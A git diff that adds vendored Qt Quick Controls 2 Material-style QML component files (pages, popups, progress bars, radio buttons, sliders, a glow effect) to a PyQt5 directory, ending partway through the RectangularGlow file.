b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Page.qml @@ -0,0 +1,56 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.Page { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + background: Rectangle { + color: control.Material.backgroundColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/PageIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/PageIndicator.qml new file mode 100644 index 00000000..5e6ca245 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/PageIndicator.qml @@ -0,0 +1,71 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.PageIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + delegate: Rectangle { + implicitWidth: 8 + implicitHeight: 8 + + radius: width / 2 + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + + opacity: index === currentIndex ? 0.95 : pressed ? 0.7 : 0.45 + Behavior on opacity { OpacityAnimator { duration: 100 } } + } + + contentItem: Row { + spacing: control.spacing + + Repeater { + model: control.count + delegate: control.delegate + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Pane.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Pane.qml new file mode 100644 index 00000000..988e225a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Pane.qml @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Pane { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + background: Rectangle { + color: control.Material.backgroundColor + radius: control.Material.elevation > 0 ? 2 : 0 + + layer.enabled: control.enabled && control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Popup.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Popup.qml new file mode 100644 index 00000000..1b576385 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Popup.qml @@ -0,0 +1,85 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Popup { + id: control + + Material.elevation: 24 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + padding: 12 + + enter: Transition { + // grow_fade_in + NumberAnimation { property: "scale"; from: 0.9; to: 1.0; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; easing.type: Easing.OutCubic; duration: 150 } + } + + exit: Transition { + // shrink_fade_out + NumberAnimation { property: "scale"; from: 1.0; to: 0.9; easing.type: Easing.OutQuint; duration: 220 } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; easing.type: Easing.OutCubic; duration: 150 } + } + + background: Rectangle { + radius: 2 + color: control.Material.dialogColor + + layer.enabled: control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } + + T.Overlay.modal: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } + + T.Overlay.modeless: Rectangle { + color: control.Material.backgroundDimColor + Behavior on opacity { NumberAnimation { duration: 150 } } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ProgressBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ProgressBar.qml new file mode 100644 index 00000000..2848f037 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ProgressBar.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.ProgressBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + contentItem: ProgressBarImpl { + implicitHeight: 4 + + scale: control.mirrored ? -1 : 1 + color: control.Material.accentColor + progress: control.position + indeterminate: control.visible && control.indeterminate + } + + background: Rectangle { + implicitWidth: 200 + implicitHeight: 4 + y: (control.height - height) / 2 + height: 4 + + color: Qt.rgba(control.Material.accentColor.r, control.Material.accentColor.g, control.Material.accentColor.b, 0.25) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioButton.qml new file mode 100644 index 00000000..dadcc84f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioButton.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.RadioButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 8 + padding: 8 + verticalPadding: padding + 6 + + indicator: RadioIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + + Ripple { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 28; height: 28 + + z: -1 + anchor: control + pressed: control.pressed + active: control.down || control.visualFocus || control.hovered + color: control.checked ? control.Material.highlightedRippleColor : control.Material.rippleColor + } + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioDelegate.qml new file mode 100644 index 00000000..c977d332 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioDelegate.qml @@ -0,0 +1,98 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.RadioDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: 8 + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + indicator: RadioIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: !control.mirrored ? 0 : control.indicator.width + control.spacing + rightPadding: control.mirrored ? 0 : control.indicator.width + control.spacing + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitHeight: control.Material.delegateHeight + + color: control.highlighted ? control.Material.listHighlightColor : "transparent" + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioIndicator.qml new file mode 100644 index 00000000..e2c55184 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RadioIndicator.qml @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +Rectangle { + id: indicator + implicitWidth: 20 + implicitHeight: 20 + radius: width / 2 + border.width: 2 + border.color: !control.enabled ? control.Material.hintTextColor + : control.checked || control.down ? control.Material.accentColor : control.Material.secondaryTextColor + color: "transparent" + + property Item control + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 10 + height: 10 + radius: width / 2 + color: parent.border.color + visible: indicator.control.checked || indicator.control.down + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RangeSlider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RangeSlider.qml new file mode 100644 index 00000000..f05601a7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RangeSlider.qml @@ -0,0 +1,92 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.RangeSlider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + first.implicitHandleWidth + leftPadding + rightPadding, + second.implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + first.implicitHandleHeight + topPadding + bottomPadding, + second.implicitHandleHeight + topPadding + bottomPadding) + + padding: 6 + + first.handle: SliderHandle { + x: control.leftPadding + (control.horizontal ? control.first.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.first.visualPosition * (control.availableHeight - height)) + value: first.value + handleHasFocus: activeFocus + handlePressed: first.pressed + handleHovered: first.hovered + } + + second.handle: SliderHandle { + x: control.leftPadding + (control.horizontal ? control.second.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.second.visualPosition * (control.availableHeight - height)) + value: second.value + handleHasFocus: activeFocus + handlePressed: second.pressed + handleHovered: second.hovered + } + + background: Rectangle { + x: control.leftPadding + (control.horizontal ? 0 : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : 0) + implicitWidth: control.horizontal ? 200 : 48 + implicitHeight: control.horizontal ? 48 : 200 + width: control.horizontal ? control.availableWidth : 4 + height: control.horizontal ? 4 : control.availableHeight + scale: control.horizontal && control.mirrored ? -1 : 1 + color: control.enabled ? Color.transparent(control.Material.accentColor, 0.33) : control.Material.sliderDisabledColor + + Rectangle { + x: control.horizontal ? control.first.position * parent.width : 0 + y: control.horizontal ? 0 : control.second.visualPosition * parent.height + width: control.horizontal ? control.second.position * parent.width - control.first.position * parent.width : 4 + height: control.horizontal ? 4 : control.second.position * parent.height - control.first.position * parent.height + + color: control.enabled ? control.Material.accentColor : control.Material.sliderDisabledColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RectangularGlow.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RectangularGlow.qml new file mode 100644 index 00000000..c01e536d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RectangularGlow.qml @@ -0,0 +1,240 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 + +/* + A cross-graphics API implementation of QtGraphicalEffects' RectangularGlow. + */ +Item { + id: rootItem + + /* + This property defines how many pixels outside the item area are reached + by the glow. + + The value ranges from 0.0 (no glow) to inf (infinite glow). By default, + the property is set to \c 0.0. + + \table + \header + \li Output examples with different glowRadius values + \li + \li + \row + \li \image RectangularGlow_glowRadius1.png + \li \image RectangularGlow_glowRadius2.png + \li \image RectangularGlow_glowRadius3.png + \row + \li \b { glowRadius: 10 } + \li \b { glowRadius: 20 } + \li \b { glowRadius: 40 } + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \row + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \endtable + + */ + property real glowRadius: 0.0 + + /* + This property defines how large part of the glow color is strenghtened + near the source edges. + + The value ranges from 0.0 (no strenght increase) to 1.0 (maximum + strenght increase). By default, the property is set to \c 0.0. + + \table + \header + \li Output examples with different spread values + \li + \li + \row + \li \image RectangularGlow_spread1.png + \li \image RectangularGlow_spread2.png + \li \image RectangularGlow_spread3.png + \row + \li \b { spread: 0.0 } + \li \b { spread: 0.5 } + \li \b { spread: 1.0 } + \row + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \row + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \endtable + */ + property real spread: 0.0 + + /* + This property defines the RGBA color value which is used for the glow. + + By default, the property is set to \c "white". + + \table + \header + \li Output examples with different color values + \li + \li + \row + \li \image RectangularGlow_color1.png + \li \image RectangularGlow_color2.png + \li \image RectangularGlow_color3.png + \row + \li \b { color: #ffffff } + \li \b { color: #55ff55 } + \li \b { color: #5555ff } + \row + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \row + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \li \l cornerRadius: 25 + \endtable + */ + property color color: "white" + + /* + This property defines the corner radius that is used to draw a glow with + rounded corners. + + The value ranges from 0.0 to half of the effective width or height of + the glow, whichever is smaller. This can be calculated with: \c{ + min(width, height) / 2.0 + glowRadius} + + By default, the property is bound to glowRadius property. The glow + behaves as if the rectangle was blurred when adjusting the glowRadius + property. + + \table + \header + \li Output examples with different cornerRadius values + \li + \li + \row + \li \image RectangularGlow_cornerRadius1.png + \li \image RectangularGlow_cornerRadius2.png + \li \image RectangularGlow_cornerRadius3.png + \row + \li \b { cornerRadius: 0 } + \li \b { cornerRadius: 25 } + \li \b { cornerRadius: 50 } + \row + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \li \l glowRadius: 20 + \row + \li \l spread: 0 + \li \l spread: 0 + \li \l spread: 0 + \row + \li \l color: #ffffff + \li \l color: #ffffff + \li \l color: #ffffff + \endtable + */ + property real cornerRadius: glowRadius + + /* + This property allows the effect output pixels to be cached in order to + improve the rendering performance. + + Every time the source or effect properties are changed, the pixels in + the cache must be updated. Memory consumption is increased, because an + extra buffer of memory is required for storing the effect output. + + It is recommended to disable the cache when the source or the effect + properties are animated. + + By default, the property is set to \c false. + */ + property bool cached: false + + ShaderEffectSource { + id: cacheItem + anchors.fill: shaderItem + visible: rootItem.cached + smooth: true + sourceItem: shaderItem + live: true + hideSource: visible + } + + ShaderEffect { + id: shaderItem + + x: (parent.width - width) / 2.0 + y: (parent.height - height) / 2.0 + width: parent.width + rootItem.glowRadius * 2 + cornerRadius * 2 + height: parent.height + rootItem.glowRadius * 2 + cornerRadius * 2 + + function clampedCornerRadius() { + var maxCornerRadius = Math.min(rootItem.width, rootItem.height) / 2 + rootItem.glowRadius; + return Math.max(0, Math.min(rootItem.cornerRadius, maxCornerRadius)) + } + + property color color: rootItem.color + property real inverseSpread: 1.0 - rootItem.spread + property real relativeSizeX: ((inverseSpread * inverseSpread) * rootItem.glowRadius + cornerRadius * 2.0) / width + property real relativeSizeY: relativeSizeX * (width / height) + property real spread: rootItem.spread / 2.0 + property real cornerRadius: clampedCornerRadius() + + fragmentShader: 